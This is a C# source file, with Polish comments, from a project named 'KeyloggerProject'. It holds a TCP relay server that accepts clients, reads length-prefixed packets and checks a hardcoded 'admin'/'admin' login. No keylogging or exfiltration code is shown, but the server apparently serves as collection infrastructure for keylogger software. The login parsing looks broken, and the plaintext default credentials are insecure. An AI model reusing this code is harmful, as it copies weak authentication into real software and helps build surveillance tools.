﻿using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO;
using System.Security.Cryptography;

namespace KeyloggerProject
{
    public partial class SerwerPosredni : Form
    {
        bool Debag;
        Task WaitForConnectionTask = null;
        Task Iterator = null;
        TcpListener tcplistener = null;
        Queue<node> Connections = new Queue<node>();

        public SerwerPosredni(bool debagmode)
        {
            Debag = debagmode;
            InitializeComponent();
        }

        private void SerwerPosredni_Load(object sender, EventArgs e)
        {
            WaitForConnectionTask = new Task(() => WaitForConnection());
            WaitForConnectionTask.Start();
            Iterator = new Task(() => iterator());
            Iterator.Start();
        }

        private void SerwerPosredni_FormClosing(object sender, FormClosingEventArgs e)
        {
            //zamknięcie wszystkich połączeń
        }
        private void WaitForConnection()
        {
            try
            {
                tcplistener = new TcpListener(System.Net.IPAddress.Any,Configuration.SerwerPosredni.NetworkPort);
            }
            catch (Exception ex)
            {
                Runer.AddException("SerwerPosredni", ex);
            }
            try
            {
                tcplistener.Start();
            }
            catch (Exception ex)
            {
                Runer.AddException("SerwerPosredni", ex);
            }
            while (true)
            {
                TcpClient client = null;
                try
                {
                    client = tcplistener.AcceptTcpClient();
                }
                catch (Exception ex)
                {
                    Runer.AddException("SerwerPosredni: ", ex);
                    continue;
                }
                try
                {
                    lock (Connections)
                        Connections.Enqueue(new node(client));

                }
                catch (Exception ex)
                {
                    Runer.AddException("SerwerPosredni: ", ex);
                    continue;
                }
            }
        }
        public void iterator()
        {
            while (true)
            {
                if (Connections.Count > 0)
                {
                    node buf = null;

                    lock (Connections)
                        buf = Connections.Dequeue();
                    buf.read();
                    lock (Connections)
                        Connections.Enqueue(buf);
                }
                Thread.Sleep(100);
            }    
        }
    }
    public class node
    {
        public TcpClient networkConnection;
        public NetworkStream NS;
        public int DBID;
        public string login;
        public Guid License;
        /// <summary>
        /// 0 - odczytuje długość pakietu
        /// 1 - odczytuje pakiet
        /// 2 - wykonuje odebranu pakiet
        /// 3 - wysyłanie wiadomości
        /// </summary>
        int faza = 0;
        public byte[] readedTab=new byte[4];
        public int readed = 0;
        public int toread = 4;
        public byte[] toWriteTab;

        
        
        //TripleDESCryptoServiceProvider TDES = new TripleDESCryptoServiceProvider();//klucz symetryczny

        ////Generate a public/private key pair.
        //RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
        ////Save the public key information to an RSAParameters structure.
        //RSAParameters RSAKeyInfo;// = RSA.ExportParameters(false);
        
        public node(TcpClient tcp)
        {
            networkConnection=tcp;
            NS=tcp.GetStream();
            //TDES.GenerateIV();
            //TDES.GenerateKey();
            //RSAKeyInfo = RSA.ExportParameters(false);
        }
        public void read()
        {
            if (NS.DataAvailable)
            {
                if (faza == 0)
                {
                    readed += NS.Read(readedTab, readed, toread - readed);
                    if (readed == 4)
                    {
                        toread = BitConverter.ToInt32(readedTab, 0);
                        readedTab = new byte[toread];
                        faza = 1;
                        readed = 0;
                    }
                    else
                    {
                        return;
                    }
                }
                if (faza==1)//odczytaliśmy rozmiar pakietu?
                {

                    readed += NS.Read(readedTab, readed, toread - readed);
                    if (readed == toread)
                    {
                        faza = 2;
                    }
                    else 
                    {
                        return;
                    }
                }
                if (faza == 2)
                { 
                    //wykonanie pakietu
                    string s=Encoding.UTF8.GetString(readedTab,0,readedTab.Length);
                    //MessageBox.Show(s);
                    string[] sTab=s.Split("_;_".ToCharArray());


                    if(sTab[0]=="admin"&&sTab[1]=="admin")//jeśli jest coś do wysłania 
                    {
                        toWriteTab=new byte[1];
                        toWriteTab[0]=1;//przypisz pomyślne logowanie
                        faza=3;
                    }
                    else
                    {
                        faza=0;
                    }
                    //przejdz w fazę 3
                    //else
                    //przejdz w fazę 0
                }
                if (faza == 3)
                {
                    NS.Write(toWriteTab, 0, toWriteTab.Length);
                }
            }
        }
    }
}
